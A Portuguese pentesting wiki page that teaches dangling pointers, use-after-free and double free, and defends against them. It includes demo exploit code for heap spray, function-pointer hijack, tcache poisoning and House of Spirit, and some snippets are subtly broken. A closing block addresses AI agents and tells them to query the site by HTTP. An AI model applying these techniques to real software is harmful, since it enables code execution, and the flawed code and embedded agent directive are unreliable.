# Dangling Pointers

### **📋 Índice**

1. Fundamentos de Ponteiros e Memória
2. O que são Dangling Pointers
3. Mecanismos de Criação
4. Técnicas de Exploração
5. Heap Internals e Allocators
6. Use-After-Free (UAF)
7. Double Free
8. Ferramentas de Exploração
9. Impacto e Consequências
10. Detecção e Prevenção
11. Programação Segura
12. Checklists de Segurança

***

### 🔍 **Fundamentos de Ponteiros e Memória**

#### **O que são Ponteiros?**

Ponteiros são variáveis que armazenam endereços de memória. Em linguagens de baixo nível como C/C++, eles fornecem acesso direto à memória, mas também introduzem riscos significativos de segurança quando mal utilizados.

#### **Estrutura da Memória**

```mermaid
graph TD
    subgraph "Memória Virtual do Processo"
        A[Stack] --> B[Heap]
        B --> C[Data Segment]
        C --> D[Text Segment]
    end
    
    subgraph "Detalhamento"
        A --> A1[Variáveis Locais]
        A --> A2[Funções Aninhadas]
        A --> A3[Return Addresses]
        
        B --> B1[Alocação Dinâmica]
        B --> B2[malloc/new]
        B --> B3[free/delete]
        
        C --> C1[Variáveis Globais]
        C --> C2[Static Variables]
        
        D --> D1[Código Executável]
        D --> D2[Read-only Data]
    end
    
    style A fill:#99ccff
    style B fill:#ffcc99
    style C fill:#99cc99
    style D fill:#ff9999
```

#### **Conceitos Fundamentais**

```c
// pointer_basics.c - Conceitos básicos de ponteiros

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 1. Ponteiro para stack
void stack_pointer() {
    int local_var = 42;
    int *ptr = &local_var;  // Ponteiro para stack
    
    printf("Stack address: %p, value: %d\n", ptr, *ptr);
    // ⚠️ Perigo: retornar ptr para fora da função!
}

// 2. Ponteiro para heap
void heap_pointer() {
    int *ptr = (int *)malloc(sizeof(int));
    *ptr = 42;
    
    printf("Heap address: %p, value: %d\n", ptr, *ptr);
    free(ptr);
    // ⚠️ Perigo: usar ptr após free!
}

// 3. Ponteiro para data segment
int global_var = 42;
int *global_ptr = &global_var;

// 4. Ponteiro para função
void (*func_ptr)(void) = &some_function;

// 5. Ponteiro nulo (NULL)
int *null_ptr = NULL;
```

***

### 🎯 **O que são Dangling Pointers**

#### **Definição**

Um **dangling pointer** (ponteiro pendente) é um ponteiro que continua referenciando um endereço de memória após a memória ter sido liberada (freed) ou ter saído de escopo. O uso de um dangling pointer leva a comportamento indefinido, crashes, corrupção de dados ou vulnerabilidades de segurança.

#### **Visualização do Problema**

```mermaid
sequenceDiagram
    participant P as Ponteiro
    participant M as Memória

    Note over P,M: 1. Alocação
    P->>M: malloc(100)
    M-->>P: endereço 0x1000
    
    Note over P,M: 2. Uso normal
    P->>M: escreve em 0x1000
    
    Note over P,M: 3. Liberação
    P->>M: free(0x1000)
    Note over M: Memória liberada
    
    Note over P,M: 4. Dangling Pointer!
    P->>M: tenta usar 0x1000
    Note over M: ❌ Comportamento indefinido
    
    Note over P,M: 5. Realloc
    M->>P: malloc retorna 0x1000
    Note over P: Ponteiro agora aponta para dados diferentes!
```

#### **Exemplo Clássico**

```c
// dangling_pointer_example.c - Exemplos de dangling pointers

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 1. Dangling pointer por free()
void dangling_after_free() {
    char *ptr = (char *)malloc(100);
    strcpy(ptr, "Hello World");
    
    printf("Before free: %s at %p\n", ptr, ptr);
    
    free(ptr);
    // 🔴 ptr agora é dangling pointer!
    
    // Uso após free - COMPORTAMENTO INDEFINIDO
    printf("After free: %s at %p\n", ptr, ptr);  // Pode crashar ou mostrar lixo
}

// 2. Dangling pointer por saída de escopo
char *dangling_return_scope() {
    char local_buffer[100];
    strcpy(local_buffer, "Local data");
    
    // 🔴 Retornando ponteiro para stack!
    return local_buffer;  // Dangling pointer quando função retorna
}

// 3. Dangling pointer por realloc
void dangling_after_realloc() {
    char *ptr = (char *)malloc(100);
    char *original = ptr;
    
    // realloc pode mover o bloco de memória
    ptr = (char *)realloc(ptr, 1000);
    
    if (ptr != original) {
        // 🔴 original agora é dangling pointer!
        printf("Original pointer now dangling: %p\n", original);
    }
    
    free(ptr);
}

// 4. Dangling pointer em lista encadeada
struct node {
    int data;
    struct node *next;
};

void dangling_in_list() {
    struct node *head = (struct node *)malloc(sizeof(struct node));
    head->data = 1;
    head->next = (struct node *)malloc(sizeof(struct node));
    head->next->data = 2;
    head->next->next = NULL;
    
    // Liberar nó do meio
    struct node *temp = head->next;
    head->next = head->next->next;
    free(temp);
    
    // 🔴 Se outro ponteiro ainda referencia temp, é dangling!
}
```

***

### ⚙️ **Mecanismos de Criação**

#### **Causas Comuns de Dangling Pointers**

```python
#!/usr/bin/env python3
# dangling_causes.py - Causas de dangling pointers

class DanglingCauses:
    """Análise das causas de dangling pointers"""
    
    @staticmethod
    def memory_deallocation():
        """Liberação de memória sem limpar ponteiros"""
        print("🔴 Memory Deallocation")
        print("=" * 60)
        
        print("""
Código vulnerável:
  char *ptr = malloc(100);
  free(ptr);
  // ptr não foi setado para NULL
  // ptr agora é dangling
  strcpy(ptr, "data");  // 💥 Use after free

Correto:
  char *ptr = malloc(100);
  free(ptr);
  ptr = NULL;  // ✅ Previne uso acidental
""")
    
    @staticmethod
    def returning_local_address():
        """Retornando endereço de variável local"""
        print("\n🔴 Returning Local Address")
        print("=" * 60)
        
        print("""
Código vulnerável:
  char* get_buffer() {
      char buffer[100];
      return buffer;  // Retorna endereço de stack
  }

  char *ptr = get_buffer();
  strcpy(ptr, "data");  // 💥 Stack frame já foi liberado

Correto:
  char* get_buffer() {
      char *buffer = malloc(100);
      return buffer;  // Retorna heap, caller deve free()
  }
""")
    
    @staticmethod
    def multiple_pointers_same_memory():
        """Múltiplos ponteiros para mesma memória"""
        print("\n🔴 Multiple Pointers to Same Memory")
        print("=" * 60)
        
        print("""
Código vulnerável:
  char *ptr1 = malloc(100);
  char *ptr2 = ptr1;  // Ambos apontam para mesma memória
  
  free(ptr1);
  // ptr2 agora é dangling!
  strcpy(ptr2, "data");  // 💥 Use after free

Correto:
  // Design pattern: ownership tracking
  // Usar smart pointers (C++) ou reference counting
""")
    
    @staticmethod
    def realloc_movement():
        """realloc movendo memória"""
        print("\n🔴 realloc Memory Movement")
        print("=" * 60)
        
        print("""
Código vulnerável:
  char *ptr = malloc(100);
  char *old_ptr = ptr;
  
  ptr = realloc(ptr, 10000);  // Pode mover o bloco
  // old_ptr agora pode ser dangling
  strcpy(old_ptr, "data");  // 💥 Se realloc moveu

Correto:
  // Sempre usar o novo ponteiro retornado por realloc
  // Não manter cópias antigas
""")
    
    @staticmethod
    def double_free():
        """Double free"""
        print("\n🔴 Double Free")
        print("=" * 60)
        
        print("""
Código vulnerável:
  char *ptr = malloc(100);
  free(ptr);
  free(ptr);  // 💥 Double free - comportamento indefinido

Correto:
  char *ptr = malloc(100);
  free(ptr);
  ptr = NULL;
  // free(NULL) é seguro (não faz nada)
""")

# Executar
DanglingCauses.memory_deallocation()
DanglingCauses.returning_local_address()
DanglingCauses.multiple_pointers_same_memory()
DanglingCauses.realloc_movement()
DanglingCauses.double_free()
```

#### **Exemplo em C com Múltiplos Ponteiros**

```c
// multiple_pointers.c - Múltiplos ponteiros dangling

#include <stdio.h>
#include <stdlib.h>

typedef struct {
    int id;
    char name[64];
} User;

int main() {
    // Criar usuário
    User *user1 = (User *)malloc(sizeof(User));
    user1->id = 1;
    strcpy(user1->name, "Alice");
    
    // Criar referência
    User *user2 = user1;  // user2 aponta para mesma memória
    
    printf("user1: %p, user2: %p\n", user1, user2);
    printf("user1: id=%d, name=%s\n", user1->id, user1->name);
    
    // Liberar memória
    free(user1);
    user1 = NULL;
    
    // 🔴 user2 agora é dangling pointer!
    // Tentar usar user2 causará comportamento indefinido
    printf("user2: id=%d, name=%s\n", user2->id, user2->name);  // 💥
    
    return 0;
}
```

***

### 🔧 **Técnicas de Exploração**

#### **Heap Spray para Controlar Memória Liberada**

```python
#!/usr/bin/env python3
# heap_spray_control.py - Heap spray para controlar memória

import ctypes
import sys

class HeapSpray:
    """Técnicas de heap spray para exploração de dangling pointers"""
    
    @staticmethod
    def create_spray_pattern(value, size=1024):
        """Criar padrão para heap spray"""
        pattern = bytes([value]) * size
        return pattern
    
    @staticmethod
    def spray_allocations(count=1000, size=1024):
        """Realizar heap spray com múltiplas alocações"""
        print(f"[*] Realizando heap spray: {count} alocações de {size} bytes")
        
        allocations = []
        for i in range(count):
            # Alocar memória
            buf = ctypes.create_string_buffer(size)
            # Preencher com padrão
            pattern = bytes([i % 256]) * size
            buf.value = pattern
            allocations.append(buf)
        
        return allocations
    
    @staticmethod
    def find_allocator_behavior():
        """Analisar comportamento do alocador"""
        print("\n[*] Analisando comportamento do alocador")
        
        print("""
Alocadores comuns:
  • dlmalloc (glibc < 2.26):
    - Freelist bins (fast, small, large)
    - Coalescing de chunks livres
    - LIFO para fastbins
  
  • ptmalloc2 (glibc >= 2.26):
    - tcache (per-thread cache)
    - Mesmo tamanho → mesmo tcache entry
    - Ideal para heap spray
  
  • jemalloc (FreeBSD, Android):
    - Arenas por thread
    - Run-length encoding
    - Quarantine para freed chunks
  
  • tcmalloc (Google):
    - Thread-local caches
    - Page heaps
    - Central free list
""")
    
    @staticmethod
    def tcache_poisoning_exploit():
        """Exploit para tcache poisoning (glibc >= 2.26)"""
        print("\n[*] tcache poisoning exploit")
        
        print("""
tcache poisoning (CVE-2017-17426):
  1. Alocar múltiplos chunks do mesmo tamanho
  2. Liberar chunks (entram no tcache)
  3. Sobrescrever o ponteiro 'next' de um chunk freed
  4. Próxima alocação retorna endereço arbitrário
  5. Escrita arbitrária na memória

Exemplo:
  // 1. Alocar 7 chunks (tcache max)
  for (int i = 0; i < 7; i++) {
      chunks[i] = malloc(0x80);
  }
  
  // 2. Liberar chunks
  for (int i = 0; i < 7; i++) {
      free(chunks[i]);
  }
  
  // 3. Sobrescrever next pointer do primeiro chunk
  // (em um cenário real, via overflow)
  *(uint64_t *)chunks[0] = target_address - 0x10;
  
  // 4. Alocar novamente
  malloc(0x80);  // Retorna chunk normal
  malloc(0x80);  // Retorna target_address!
  
  // 5. Escrita arbitrária
  strcpy(malloc(0x80), "malicious data");
""")

# Uso
if __name__ == "__main__":
    print("🎯 Heap Spray Techniques")
    print("=" * 60)
    
    HeapSpray.find_allocator_behavior()
    HeapSpray.tcache_poisoning_exploit()
    
    # Simular heap spray
    allocations = HeapSpray.spray_allocations(100, 1024)
    print(f"\n[+] {len(allocations)} alocações realizadas")
```

#### **Use-After-Free Exploit**

```c
// uaf_exploit.c - Exploração de Use-After-Free

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Estrutura do objeto vulnerável
typedef struct {
    void (*function_ptr)(void);
    char buffer[64];
} vulnerable_object;

// Estrutura que será usada para spray
typedef struct {
    char data[64];
    void *next;
} spray_object;

// Função legítima
void legitimate_function() {
    printf("[*] Legitimate function called\n");
}

// Função maliciosa (payload)
void malicious_function() {
    printf("[!] Malicious function called - Code execution!\n");
    // system("/bin/sh");
}

// Alocar objeto
vulnerable_object *allocate_object() {
    return (vulnerable_object *)malloc(sizeof(vulnerable_object));
}

// Liberar objeto
void free_object(vulnerable_object *obj) {
    free(obj);
}

// Usar objeto (vulnerável)
void use_object(vulnerable_object *obj) {
    if (obj && obj->function_ptr) {
        obj->function_ptr();  // 🔴 Uso após free se obj for dangling
    }
}

int main() {
    printf("[*] Use-After-Free Exploit Demo\n");
    printf("=" * 60);
    
    // 1. Criar objeto vulnerável
    vulnerable_object *victim = allocate_object();
    victim->function_ptr = legitimate_function;
    strcpy(victim->buffer, "Sensitive Data");
    
    printf("[+] Victim object at %p\n", victim);
    printf("    Function: %p\n", victim->function_ptr);
    
    // 2. Liberar objeto (cria dangling pointer)
    free_object(victim);
    printf("[+] Victim freed at %p (dangling pointer)\n", victim);
    
    // 3. Heap spray: preencher memória com objetos controlados
    printf("[*] Heap spray in progress...\n");
    
    spray_object *spray[100];
    for (int i = 0; i < 100; i++) {
        spray[i] = (spray_object *)malloc(sizeof(spray_object));
        memset(spray[i], 0x41, sizeof(spray_object));
        
        // Se o alocador reutilizar o mesmo endereço que victim
        if ((void *)spray[i] == victim) {
            printf("[!] Reused victim address %p at iteration %d\n", spray[i], i);
            
            // Sobrescrever com payload malicioso
            spray[i]->data[0] = 0x42;
            // Sobrescrever function pointer (primeiros 8 bytes em 64-bit)
            *(void **)spray[i] = malicious_function;
            printf("[+] Spray object overwritten with malicious function\n");
        }
    }
    
    // 4. Usar dangling pointer
    printf("[*] Using dangling pointer...\n");
    use_object(victim);  // 💥 Executa função maliciosa se memória foi reutilizada
    
    // 5. Limpeza
    for (int i = 0; i < 100; i++) {
        free(spray[i]);
    }
    
    return 0;
}
```

#### **Double Free Exploit**

```c
// double_free_exploit.c - Exploração de Double Free

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Estrutura para controle
typedef struct {
    char name[32];
    int id;
    void (*callback)(void);
} object;

void normal_callback() {
    printf("[*] Normal callback\n");
}

void malicious_callback() {
    printf("[!] Malicious callback - Code execution!\n");
}

int main() {
    printf("[*] Double Free Exploit Demo\n");
    printf("=" * 60);
    
    // 1. Alocar objeto
    object *obj = (object *)malloc(sizeof(object));
    obj->id = 1;
    strcpy(obj->name, "Victim");
    obj->callback = normal_callback;
    
    printf("[+] Object allocated at %p\n", obj);
    
    // 2. Double free (liberar duas vezes)
    free(obj);
    printf("[+] First free at %p\n", obj);
    
    free(obj);  // 🔴 Double free!
    printf("[+] Second free at %p (double free)\n", obj);
    
    // 3. Alocar novos objetos
    // O double free corrompe a freelist, permitindo alocações arbitrárias
    
    object *new_obj1 = (object *)malloc(sizeof(object));
    object *new_obj2 = (object *)malloc(sizeof(object));
    
    printf("[+] New object 1 at %p\n", new_obj1);
    printf("[+] New object 2 at %p\n", new_obj2);
    
    // Se o exploit for bem-sucedido, new_obj1 e new_obj2 podem apontar
    // para o mesmo endereço, ou new_obj2 pode apontar para área controlada
    
    if (new_obj1 == new_obj2) {
        printf("[!] Double free exploited! Objects share same address\n");
        
        // Modificar um objeto
        new_obj1->callback = malicious_callback;
        
        // O outro objeto também é afetado
        new_obj2->callback();  // Executa código malicioso!
    }
    
    return 0;
}
```

***

### 🏗️ **Heap Internals e Allocators**

#### **Estrutura de Chunk no glibc**

```python
#!/usr/bin/env python3
# heap_internals.py - Internals do heap

class HeapInternals:
    """Análise de estruturas internas do heap"""
    
    @staticmethod
    def chunk_structure():
        """Estrutura de um chunk no glibc malloc"""
        print("📦 Estrutura de Chunk (glibc malloc)")
        print("=" * 60)
        
        print("""
Chunk alocado (em uso):
  +------------------+
  | prev_size        | <- Tamanho do chunk anterior (se livre)
  +------------------+
  | size             | <- Tamanho deste chunk + flags
  +------------------+
  | user data        | <- Dados do usuário
  | ...              |
  +------------------+

Chunk livre (na freelist):
  +------------------+
  | prev_size        | <- Tamanho do chunk anterior
  +------------------+
  | size             | <- Tamanho + flags
  +------------------+
  | fd               | <- Forward pointer (próximo chunk livre)
  +------------------+
  | bk               | <- Backward pointer (chunk anterior livre)
  +------------------+
  | (unused)         |
  +------------------+

Flags em 'size':
  - Bit 0: PREV_INUSE (chunk anterior está em uso)
  - Bit 1: IS_MMAPPED (alocado via mmap)
  - Bit 2: NON_MAIN_ARENA (de arena não principal)
""")
    
    @staticmethod
    def fastbins():
        """Fastbins (glibc)"""
        print("\n⚡ Fastbins")
        print("=" * 60)
        
        print("""
Fastbins são listas LIFO (Last-In-First-Out) para chunks pequenos:
  • Tamanhos: 16, 24, 32, ..., 128 bytes (32-bit)
  • Tamanhos: 32, 48, 64, ..., 1024 bytes (64-bit)
  • Não há coalescing
  • Single-linked list (apenas 'fd' pointer)
  
Vulnerabilidades:
  • Fastbin dup: double free no mesmo tamanho
  • Fastbin corruption: sobrescrever 'fd' pointer
  • Fastbin consolidation: liberação de fastbin para unsorted bin
""")
    
    @staticmethod
    def tcache():
        """tcache (glibc >= 2.26)"""
        print("\n📦 tcache (Thread-Local Caching)")
        print("=" * 60)
        
        print("""
tcache é um cache por thread para chunks pequenos:
  • 64 bins por tamanho (máximo 7 chunks por bin)
  • Single-linked list
  • Não há verificação de integridade extensiva
  
Vulnerabilidades:
  • tcache poisoning: sobrescrever 'next' pointer
  • tcache dup: double free
  • tcache stashing: manipulação de chunks do tcache
  
tcache structure:
  typedef struct tcache_entry {
      struct tcache_entry *next;
  } tcache_entry;
  
  typedef struct tcache_perthread_struct {
      char counts[TCACHE_MAX_BINS];
      tcache_entry *entries[TCACHE_MAX_BINS];
  } tcache_perthread_struct;
""")
    
    @staticmethod
    def unsorted_bins():
        """Unsorted bins"""
        print("\n🔄 Unsorted Bins")
        print("=" * 60)
        
        print("""
Unsorted bins são chunks que foram liberados mas não foram
colocados em bins específicos ainda:
  • Double-linked list
  • Usado para caching
  • Coalescing ocorre aqui
  
Vulnerabilidades:
  • Unsorted bin attack: sobrescrever 'bk' pointer
  • House of Orange: criar chunk no unsorted bin
""")

# Executar
HeapInternals.chunk_structure()
HeapInternals.fastbins()
HeapInternals.tcache()
HeapInternals.unsorted_bins()
```

#### **House of Spirit - Técnica de Exploração**

```c
// house_of_spirit.c - Técnica House of Spirit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
House of Spirit: criar fake chunk na stack para obter alocação arbitrária
*/

int main() {
    printf("[*] House of Spirit Technique\n");
    printf("=" * 60);
    
    // 1. Criar fake chunk na stack
    // O fake chunk deve ter tamanho que corresponda a um fastbin
    char fake_chunk[64];
    char *victim = fake_chunk;
    
    // Configurar tamanho do fake chunk (0x40 = 64 bytes)
    // Em 64-bit, o tamanho é armazenado antes do chunk
    size_t *fake_size = (size_t *)(fake_chunk - 8);
    *fake_size = 0x41;  // Tamanho + PREV_INUSE flag
    
    printf("[+] Fake chunk at %p, size: 0x%lx\n", fake_chunk, *fake_size);
    
    // 2. Liberar fake chunk (como se fosse alocado por malloc)
    // Normalmente isso ocorreria por um bug que permite free()
    // em um endereço controlado pelo atacante
    free(victim);  // 🔴 Liberar endereço arbitrário!
    
    printf("[+] Fake chunk freed at %p\n", victim);
    
    // 3. Alocar novamente - retornará o fake chunk na stack!
    char *new_chunk = (char *)malloc(64);
    
    printf("[+] New allocation at %p\n", new_chunk);
    
    if (new_chunk == victim) {
        printf("[!] House of Spirit successful! Allocation on stack\n");
        
        // Agora podemos escrever na stack
        strcpy(new_chunk, "Malicious data on stack!");
        printf("[+] Stack data: %s\n", new_chunk);
    }
    
    return 0;
}
```

***

### 🔍 **Detecção e Prevenção**

#### **Ferramentas de Detecção**

```bash
#!/bin/bash
# detection_tools.sh - Ferramentas para detectar dangling pointers

# 1. AddressSanitizer (ASAN)
echo "[*] Compilando com AddressSanitizer"
gcc -fsanitize=address -g -O0 -o vulnerable vulnerable.c
./vulnerable

# 2. Valgrind (Memcheck)
echo "\n[*] Executando Valgrind"
valgrind --leak-check=full --track-origins=yes ./vulnerable

# 3. Dr. Memory
echo "\n[*] Executando Dr. Memory"
drmemory -- ./vulnerable

# 4. Clang Static Analyzer
echo "\n[*] Análise estática com Clang"
clang --analyze vulnerable.c

# 5. Infer (Facebook)
echo "\n[*] Análise com Infer"
infer run -- gcc -c vulnerable.c

# 6. GCC com flags de detecção
echo "\n[*] Compilando com flags de detecção"
gcc -D_FORTIFY_SOURCE=2 -O2 -Wp,-D_FORTIFY_SOURCE=2 \
    -Wformat -Wformat-security -Werror=format-security \
    -fstack-protector-strong -fPIE -pie \
    -o safe safe.c
```

#### **Script de Detecção de UAF**

```python
#!/usr/bin/env python3
# detect_uaf.py - Detector de Use-After-Free

import subprocess
import re
import sys

class UAFDetector:
    """Detector de Use-After-Free em binários"""
    
    @staticmethod
    def check_asan_output(log_file):
        """Analisar saída do AddressSanitizer"""
        print("[*] Analisando saída do AddressSanitizer")
        
        try:
            with open(log_file, 'r') as f:
                content = f.read()
            
            patterns = {
                'heap-use-after-free': 'Use-After-Free detectado',
                'heap-buffer-overflow': 'Buffer overflow detectado',
                'double-free': 'Double free detectado',
                'alloc-dealloc-mismatch': 'Mismatch alocador/dealocador',
                'bad-free': 'Free inválido detectado'
            }
            
            for pattern, message in patterns.items():
                if pattern in content:
                    print(f"   ⚠️ {message}")
                    # Extrair stack trace
                    lines = content.split('\n')
                    in_stack = False
                    for line in lines:
                        if '#0' in line:
                            in_stack = True
                        if in_stack and '#' in line:
                            print(f"      {line.strip()}")
                        if in_stack and line.strip() == '':
                            break
                    
        except Exception as e:
            print(f"   Erro: {e}")
    
    @staticmethod
    def check_valgrind_output(log_file):
        """Analisar saída do Valgrind"""
        print("\n[*] Analisando saída do Valgrind")
        
        try:
            with open(log_file, 'r') as f:
                content = f.read()
            
            if 'Invalid read' in content or 'Invalid write' in content:
                print("   ⚠️ Acesso inválido a memória detectado")
                
                # Extrair stack trace
                lines = content.split('\n')
                for line in lines:
                    if 'at 0x' in line or 'by 0x' in line:
                        print(f"      {line.strip()}")
            
            if 'Use of uninitialised value' in content:
                print("   ⚠️ Uso de valor não inicializado")
                
        except Exception as e:
            print(f"   Erro: {e}")
    
    @staticmethod
    def static_analysis(source_file):
        """Análise estática de código fonte"""
        print("\n[*] Analisando código fonte")
        
        patterns = [
            (r'free\((\w+)\);.*?(\1)->', 'Possível UAF após free'),
            (r'free\((\w+)\);.*?free\(\1\)', 'Possível double free'),
            (r'return &(\w+)\[', 'Retornando ponteiro para stack'),
            (r'free\((\w+)\);.*?\1 = NULL', 'Sem NULL após free')
        ]
        
        try:
            with open(source_file, 'r') as f:
                content = f.read()
            
            for pattern, message in patterns:
                matches = re.findall(pattern, content, re.DOTALL)
                if matches:
                    print(f"   ⚠️ {message}")
                    for match in matches[:3]:
                        print(f"      {match}")
                        
        except Exception as e:
            print(f"   Erro: {e}")

# Uso
if __name__ == "__main__":
    print("🔍 Use-After-Free Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        if sys.argv[1].endswith('.c'):
            UAFDetector.static_analysis(sys.argv[1])
        else:
            UAFDetector.check_asan_output(sys.argv[1])
            UAFDetector.check_valgrind_output(sys.argv[1])
    else:
        print("Uso: detect_uaf.py <source.c|asan_log|valgrind_log>")
```

***

### 🛡️ **Prevenção e Boas Práticas**

#### **Técnicas de Prevenção**

```c
// safe_pointer_practices.c - Práticas seguras com ponteiros

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 1. Sempre setar ponteiros para NULL após free
void safe_free(void **ptr) {
    if (ptr && *ptr) {
        free(*ptr);
        *ptr = NULL;  // ✅ Previne dangling pointer
    }
}

// 2. Usar smart pointers (C++)
// std::unique_ptr<int> ptr = std::make_unique<int>(42);
// std::shared_ptr<int> ptr2 = std::make_shared<int>(42);

// 3. RAII (Resource Acquisition Is Initialization)
typedef struct {
    int *data;
    size_t size;
} safe_array;

safe_array* safe_array_create(size_t size) {
    safe_array *arr = (safe_array *)malloc(sizeof(safe_array));
    if (!arr) return NULL;
    
    arr->data = (int *)calloc(size, sizeof(int));
    if (!arr->data) {
        free(arr);
        return NULL;
    }
    
    arr->size = size;
    return arr;
}

void safe_array_destroy(safe_array **arr) {
    if (arr && *arr) {
        if ((*arr)->data) {
            free((*arr)->data);
            (*arr)->data = NULL;
        }
        free(*arr);
        *arr = NULL;
    }
}

// 4. Verificação antes de usar
void safe_use(safe_array *arr, int index) {
    if (arr && arr->data && index < arr->size) {
        printf("Value: %d\n", arr->data[index]);
    }
}

// 5. Uso de canários para detectar corrupção
typedef struct {
    uint32_t magic;
    int data;
    uint32_t footer;
} guarded_object;

#define MAGIC_NUMBER 0xDEADBEEF

guarded_object* guarded_create(int value) {
    guarded_object *obj = (guarded_object *)malloc(sizeof(guarded_object));
    if (obj) {
        obj->magic = MAGIC_NUMBER;
        obj->data = value;
        obj->footer = MAGIC_NUMBER;
    }
    return obj;
}

int guarded_use(guarded_object *obj) {
    if (!obj || obj->magic != MAGIC_NUMBER || obj->footer != MAGIC_NUMBER) {
        return -1;  // Corrupção detectada
    }
    return obj->data;
}

// 6. Compilação com proteções
// gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -o safe safe.c
```

#### **Ferramentas de Proteção**

```yaml
Proteções do Sistema:

  ✅ AddressSanitizer (ASAN):
    - Detecção em tempo de execução
    - Quarantine de freed chunks
    - Shadow memory para tracking

  ✅ UndefinedBehaviorSanitizer (UBSAN):
    - Detecção de comportamento indefinido
    - Inclui uso de dangling pointers

  ✅ MemorySanitizer (MSAN):
    - Detecção de uso de memória não inicializada

  ✅ LeakSanitizer (LSAN):
    - Detecção de vazamentos de memória

  ✅ Valgrind (Memcheck):
    - Emulação de memória
    - Detecção de acessos inválidos

  ✅ Compiler Hardening:
    - -fstack-protector-strong
    - -D_FORTIFY_SOURCE=2
    - -Wp,-D_FORTIFY_SOURCE=2
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Desenvolvedores**

* [ ] Setar ponteiros para NULL após free
* [ ] Usar smart pointers em C++
* [ ] Implementar RAII para recursos
* [ ] Evitar múltiplos ponteiros para mesma memória
* [ ] Não retornar ponteiros para variáveis locais
* [ ] Usar ferramentas de análise estática
* [ ] Testar com AddressSanitizer
* [ ] Validar ponteiros antes de usar

#### **Checklist para Pentesters**

* [ ] Identificar funções que liberam memória
* [ ] Testar double free
* [ ] Tentar heap spray após free
* [ ] Analisar estruturas de freelist
* [ ] Verificar tcache poisoning
* [ ] Testar fastbin dup

***

### 📊 **Conclusão**

```yaml
Dangling Pointers:

  🔴 Principais Vetores:
    - Use-After-Free (UAF)
    - Double Free
    - Retorno de ponteiro para stack
    - realloc sem atualização

  🛡️ Mitigações Essenciais:
    - Setar NULL após free
    - Smart pointers (C++)
    - AddressSanitizer
    - Valgrind
    - Análise estática

  🎯 Prioridade:
    - CRÍTICA: UAF em código de rede
    - ALTA: Double free em estruturas de dados
    - MÉDIA: Dangling pointers em código legado
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/dangling-pointers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
